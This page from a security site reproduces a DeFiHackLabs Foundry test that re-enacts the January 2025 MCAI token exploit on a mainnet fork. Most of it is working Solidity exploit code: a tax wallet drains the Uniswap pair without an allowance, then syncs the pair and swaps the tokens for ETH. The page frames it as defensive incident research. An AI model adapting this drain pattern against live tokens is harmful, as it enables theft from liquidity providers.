Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/MCAI_exp.sol

Public reproduction file for dataset entry MCAI.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/MCAI_exp.sol88 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 12.03 WETH
8// Attacker : 0x0C8ecf2BbF9361fa2DD0Bd29ea473FB790aB7fEE
9// Attack Contract : 0xdDF062714911A2e59996Eb94A57b7040Ea44309D
10// Vulnerable Contract : 0x810B5902CB2ac2Fa63dFE4A6935EA32aED975cc8
11// Victim : 0x660a6619574e87d12Ba7Fa3F5679D5D7F587A4fE
12// Attack Tx : https://etherscan.io/tx/0xfbe3bc868d555ef617bb1c32d1d8d5ec8b825bf2b4795dd99b47b321f36f3c21
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x810B5902CB2ac2Fa63dFE4A6935EA32aED975cc8#code
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/409
19//
20// The MCAI tax wallet bypassed transferFrom allowance accounting, pulled MCAI from the MCAI/WETH Uniswap V2 pair,
21// synced the pair at a tiny MCAI reserve, then sold the drained MCAI back through the router for WETH/ETH profit.
23address constant ATTACKER = 0x0C8ecf2BbF9361fa2DD0Bd29ea473FB790aB7fEE;
24address constant ATTACK_CONTRACT = 0xdDF062714911A2e59996Eb94A57b7040Ea44309D;
25address constant MCAI = 0x810B5902CB2ac2Fa63dFE4A6935EA32aED975cc8;
26address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
27address constant MCAI_WETH_PAIR = 0x660a6619574e87d12Ba7Fa3F5679D5D7F587A4fE;
28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
30contract ContractTest is BaseTestWithBalanceLog {
31 function setUp() public {
32 uint256 forkBlock = 21_720_380;
33 vm.createSelectFork("mainnet", forkBlock);
34 fundingToken = address(0);
36 vm.label(ATTACKER, "Attacker EOA");
37 vm.label(ATTACK_CONTRACT, "MCAI tax wallet");
38 vm.label(MCAI, "MCAI");
39 vm.label(WETH_TOKEN, "WETH");
40 vm.label(MCAI_WETH_PAIR, "MCAI/WETH pair");
41 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 router");
42 }
44 function testExploit() public balanceLog2(ATTACKER) {
45 uint256 attackerBefore = ATTACKER.balance;
46 MCAIExploit exploit = new MCAIExploit();
48 // step 1: the tax wallet pulls 99.99% of MCAI from the pair without pair approval.
49 uint256 pairMcaiBalance = IERC20(MCAI).balanceOf(MCAI_WETH_PAIR);
50 uint256 drainAmount = pairMcaiBalance - pairMcaiBalance / 10_000;
51 assertEq(IERC20(MCAI).allowance(MCAI_WETH_PAIR, ATTACK_CONTRACT), 0, "pair did not approve tax wallet");
53 vm.prank(ATTACK_CONTRACT, ATTACKER);
54 IERC20(MCAI).transferFrom(MCAI_WETH_PAIR, address(exploit), drainAmount);
56 // step 2: the attacker-originated helper syncs, sells the drained MCAI, and forwards ETH to the EOA.
57 vm.prank(ATTACKER, ATTACKER);
58 exploit.attack();
60 uint256 profit = ATTACKER.balance - attackerBefore;
61 assertGt(profit, 11 ether, "ETH profit");
62 }
65contract MCAIExploit {
66 function attack() external {
67 require(msg.sender == ATTACKER, "only attacker");
69 // step 3: sync the pair so reserves record the tiny MCAI balance left behind.
70 Uni_Pair_V2(MCAI_WETH_PAIR).sync();
72 // step 4: sell the drained MCAI through the router and receive ETH.
73 IERC20(MCAI).approve(UNISWAP_V2_ROUTER, type(uint256).max);
74 address[] memory path = new address[](2);
75 path[0] = MCAI;
76 path[1] = WETH_TOKEN;
77 IUniswapV2Router(payable(UNISWAP_V2_ROUTER))
78 .swapExactTokensForETHSupportingFeeOnTransferTokens(
79 IERC20(MCAI).balanceOf(address(this)), 0, path, address(this), block.timestamp
80 );
82 // step 5: forward the ETH profit to the same receiver used in the trace.
83 (bool sent,) = payable(ATTACKER).call{value: address(this).balance}("");
84 require(sent, "ETH forwarding failed");
85 }
87 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “MCAI” (2025-01-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0c8ecf2bbf9361fa2dd0bd29ea473fb790ab7fee

  • Attack Contract

    0xddf062714911a2e59996eb94a57b7040ea44309d

  • Vulnerable Contract

    0x810b5902cb2ac2fa63dfe4a6935ea32aed975cc8

  • Victim

    0x660a6619574e87d12ba7fa3f5679d5d7f587a4fe

  • Attack Tx

    0xfbe3bc868d555ef617bb1c32d1d8d5ec8b825bf2b4795dd99b47b321f36f3c21

File record

Name
MCAI
Path
src/test/2025-01/MCAI_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1853c67f9f7555d8852a07eb22f540914a44e016
Language
Solidity
Size
89 lines
Date
2025-01-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/MCAI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1853c67f9f7555d8852a07eb22f540914a44e016, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.